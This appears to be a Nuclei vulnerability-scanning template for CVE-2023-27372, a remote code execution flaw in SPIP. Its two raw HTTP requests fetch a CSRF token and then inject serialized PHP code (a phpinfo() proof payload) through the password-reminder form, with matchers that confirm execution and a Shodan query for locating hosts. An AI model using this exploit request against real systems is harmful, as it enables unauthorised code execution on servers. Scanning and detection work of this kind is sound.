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CVE-2023-27372.yaml
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CVE-2023-27372.yaml
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id: CVE-2023-27372
info:
name: SPIP - Remote Command Execution
author: DhiyaneshDK,nuts7
severity: critical
description: |
SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
remediation: |
Apply the latest security patches or upgrade to a patched version of SPIP.
reference:
- https://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-27372
- https://github.com/nuts7/CVE-2023-27372
- http://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html
- http://packetstormsecurity.com/files/173044/SPIP-4.2.1-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-27372
epss-score: 0.97152
epss-percentile: 0.99786
cpe: cpe:2.3:a:spip:spip:*:*:*:*:*:*:*:*
metadata:
verified: "true"
max-request: 2
vendor: spip
product: spip
shodan-query: html:"spip.php?page=backend"
tags: cve,cve2023,packetstorm,spip,rce
http:
- raw:
- |
GET /spip.php?page=spip_pass HTTP/1.1
Host: {{Hostname}}
- |
POST /spip.php?page=spip_pass HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
page=spip_pass&formulaire_action=oubli&formulaire_action_args={{csrf}}&oubli=s:19:"<?php phpinfo(); ?>";
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "PHP Extension"
- "PHP Version"
- "<!DOCTYPE html"
condition: and
- type: status
status:
- 200
extractors:
- type: regex
name: csrf
group: 1
regex:
- "name='formulaire_action_args'[^>]*value='([^']*)'"
internal: true
part: body_1
- type: regex
group: 1
regex:
- '>PHP Version <\/td><td class="v">([0-9.]+)'
part: body_2
# digest: 490a004630440220786d7c2a2e607ddcae695760633ce2fa3d1f8acd176f947e34e32b3b6e979f780220653af3d4cfc548d7a3c4e8873b45fd038152bf4a4b6496bd1376574cc0129caf:922c64590222798bb761d5b6d8e72950